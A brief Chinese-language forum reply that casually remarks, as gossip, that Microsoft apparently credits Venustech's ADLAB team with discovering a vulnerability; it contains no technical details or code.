呵呵,去微软看了一下,说这个漏洞是启明星辰的ADLAB团队找到的?八卦,纯属八卦~
游客
登录 | 注册 方可回帖
返回